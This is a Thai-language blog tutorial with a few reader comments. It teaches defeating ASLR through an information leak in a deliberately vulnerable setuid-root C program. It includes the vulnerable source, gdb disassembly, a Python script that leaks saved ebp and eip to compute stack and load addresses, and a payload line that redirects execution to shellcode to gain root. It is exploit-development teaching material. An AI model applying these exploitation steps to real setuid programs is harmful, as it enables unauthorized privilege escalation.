Saturday, April 21, 2012

ตัวอย่าง Defeating ASLR แบบ Information Leak

เรามาดูตัวอย่างแบบง่ายๆ สำหรับ information leak เพื่อ defeating ASLR โดยเราจะใช้ตัวอย่างต่อไปนี้ (ex_14_2.c) แนะนำให้ลองทำโดยไม่ใช้วิธี brute force ก่อนนะครับ

/*
gcc -fno-stack-protector -z execstack -pie -Wl,-z,relro -Wl,-z,now -o ex_14_2 ex_14_2.c
sudo su -c "chown root: ex_14_2;chmod 4755 ex_14_2"
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln()
{
    char user[32];
    char buf[128];

    printf("Username: ");
    fflush(stdout);
    fgets(buf, 256, stdin);
    strncpy(user, buf, 32);

    printf("Hello %s\n", user);
    fflush(stdout);

    printf("Welcome to echo program. Type your data:\n");
    fgets(buf, 256, stdin);
    printf("%s", buf);
}

void junk()
{
    int i = 0x55555555;
    int j = 0x55555555;
}

int main(int argc, char **argv)
{
    junk();
    vuln();
    return 0;
}

เรามาดูที่ compile option "-pie" กันก่อน option นี้ จะทำให้ executable นั้นถูก load เหมือนเป็น shared object ซึ่งทำให้ ASLR มีผลกับ main executable ด้วย และถ้าเราดูไฟล์นี้ด้วยคำสั่ง file จะเห็นว่าเป็น shared object

$ file ex_14_2
ex_14_2: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped

ปัญหาของโปรแกรมนี้ อันแรกคือที่คำสั่ง fgets() รับจำนวน input มากกว่าที่ buf จองไว้ ซึ่งเป็น buffer overflow แต่เนื่องด้วยโปรแกรมนี้ compile แบบ PIE ซึ่งทำให้ตัวโปรแกรมเองถูกโหลดที่ random address ทำให้เราไม่สามารถใช้วิธี ใช้ส่วนที่ไม่ random ได้

ถ้าใครสังเกตโปรแกรมนี้ดีๆ จะเห็นอีกปัญหาหนึ่งที่คำสั่ง strncpy() จะเห็นว่าถ้าข้อมูล string ใน buf นั้นยาวมากกว่า 31 ตัว ทำให้ string ใน user ไม่ได้จบด้วยค่า NULL ซึ่งส่งผลให้เวลาโปรแกรมสั่ง printf() จะคิดว่า string user นั้นมีความยาวมากกว่า 32 ตัวอักษร และแสดงข้อมูลที่อยู่หลัง user แล้วเมื่อเราดูตำแหน่งของ user ใน stack ด้วย gdb

$ gdb -q ./ex_14_2
Reading symbols from /home/worawit/tutz/ch14/ex_14_2...(no debugging symbols found)...done.
(gdb) b vuln
Breakpoint 1 at 0x6f5  # จะเห็นว่า address เป็น offset ของคำสั่ง
(gdb) r
Starting program: /home/worawit/tutz/ch14/ex_14_2

Breakpoint 1, 0x00def6f5 in vuln ()   # executable ถูกโหลดที่ address 0x00def000
(gdb) disass
Dump of assembler code for function vuln:
...
   0x0011074b <+95>:    mov    $0x1108b7,%eax
   0x00110750 <+100>:   lea    -0x28(%ebp),%edx  # user อยู่ที่ ebp-0x28
   0x00110753 <+103>:   mov    %edx,0x4(%esp)
   0x00110757 <+107>:   mov    %eax,(%esp)
   0x0011075a <+110>:   call   0xb7ebd290 <printf>
   0x0011075f <+115>:   mov    0xb7fcb860,%eax
   0x00110764 <+120>:   mov    %eax,(%esp)
   0x00110767 <+123>:   call   0xb7ed1a00 <fflush>
...

จะเห็นว่า user อยู่ที่ตำแหน่ง ebp-0x28 ดังนั้นคำสั่ง printf() อันแรกจะแสดงข้อมูล 40 ตัวก่อนแล้วจะตามด้วย saved ebp และ saved eip ดังนั้นวิธีทำ info disclosure สามารถทำด้วย code ต่อไปนี้ (ex_14_2_1.py)

#!/usr/bin/env python
import os, sys
from struct import pack,unpack

pin_r, pin_w = os.pipe()
pout_r, pout_w = os.pipe()

pid = os.fork()
if pid == 0:
    # child
    os.close(pin_w)
    os.close(pout_r)
    os.dup2(pin_r, 0)
    os.dup2(pout_w, 1)
    os.execl("./ex_14_2", "./ex_14_2")
    sys.exit()

# parent
os.close(pin_r)
os.close(pout_w)

data = os.read(pout_r, 256)
os.write(pin_w, "A"*50+"\n") # ใส่อะไรก็ได้ให้ยาวกว่า 32 ตัวอักษร
data = os.read(pout_r, 256)
sebp, seip = unpack("<II", data[46:46+8])  # 46 เพราะว่ามี "Hello "
sebp_addr = sebp - 0x10
seip_addr = sebp_addr + 4
image_load_addr = seip - 0x7d6
buf_addr = sebp_addr - 0xa8

print "saved ebp: %08x" % sebp
print "saved eip: %08x" % seip
print "saved ebp addr: %08x" % sebp_addr
print "saved eip addr: %08x" % seip_addr
print "image load addr: %08x" % image_load_addr

os.write(pin_w, "AAAA\n")
data = os.read(pout_r, 256)

เมื่อรัน python script ที่ path เดียวกันจะได้ (ถ้าใครงง ก็ให้ debug ดูนะครับ)

$ python ex_14_2_1.py
saved ebp: bfdfddf8
saved eip: 0abca7d6
saved ebp addr: bfdfdde8
saved eip addr: bfdfddec
image load addr: 0abca000

ค่า saved ebp ที่ถูก print ออกมานั้น เป็นค่า ebp ของ main() function ดังนั้นเราต้องลบไป 0x10 (ดูด้วย gdb) เพื่อให้ได้ address ของ saved ebp

ค่าหนึ่งผมอยากให้ดูคือ image_load_addr ถึงแม้ว่าค่านี้จะไม่ถูกใช้ในตัวอย่างนี้ แต่ค่านี้จำเป็นอย่างมากถ้าเราจำเป็นต้องใช้ code ใน executable เช่นในวิธี Use non-randomization address เพราะเริ่มต้นเรารู้เพียง offset ของ code แต่เมื่อเรารู้ว่า executable ถูก load ที่ address ไหน เราจะสามารถหาได้ว่า code ที่เราต้องการจะกระโดดไปทำงาน ถูกโหลดที่ address ใดใน virtual memory

เมื่อเรารู้ address ของ stack แล้ว เราก็สามารถ exploit ได้แค่แก้ saved eip ชี้ไปที่ shellcode ของเรา ด้วย python code ข้างล่างนี้

payload = sc + "A"*(0xa8-len(sc)) + "BBBB" + pack("<I", buf_addr)

แต่เนื่องด้วยเราสร้าง pipe ขึ้นมาแล้วเอามาแทน stdin กับ stdout และ default buffer size ของ pipe มีขนาด 4096 bytes ดังนั้น exploit ที่ผมใช้จึงมีการส่งขยะไปก่อน 4096 bytes แล้วตามด้วย command และจะได้ exploit ex_14_2.py ซึ่งเมื่อ run แล้วจะเห็นว่า euid มีค่าเป็น 0

ถ้าใครอยากให้ได้ shell เหมือนตัวอย่างที่ผ่านๆ มา ก็ทำได้ โดยการเรียก dup() เพื่อ copy stdin กับ stdout ไว้ก่อน แล้วก็เพิ่ม shellcode ที่จะ copy กับมาที่ file descriptor 0 กับ 1 (ตรงนี้ผมไม่ทำให้ดูนะครับ)

ก่อนจบอยากให้ลองถ้า main() ไม่มีการเรียก junk() แล้วจะเห็นว่าเรา exploit ที่เขียนมาไม่สามารถทำ info leak เพื่ออ่านค่า saved eip กับ saved eip ลองหาดูนะครับว่าทำไม แต่จริงๆ แล้วในกรณีนี้ยังสามารถทำ info leak ได้ แนะนำให้อ่าน http://vulnfactory.org/blog/2010/04/08/controlling-uninitialized-memory-with-ld_preload/ แล้วลองด้วยตัวเองนะครับ

4 comments:

  1. english is possible if i'm not asking for too much?
    Thanks.

    ReplyDelete
  2. ok, thanks for the answer bro!

    ReplyDelete
  3. ตรงที่แสดงโค้ด พื้นหลังมันสีขาว รู้สึกทำให้แสบตาง่ะ(หรือผมรู้สึกคนเดียว = =")
    แนะนำเปลี่ยนไปใช้ของ https://code.google.com/p/google-code-prettify/
    แนะนำใช้ theme Sons-Of-Obsidian >> https://google-code-prettify.googlecode.com/svn/trunk/styles/index.html

    ReplyDelete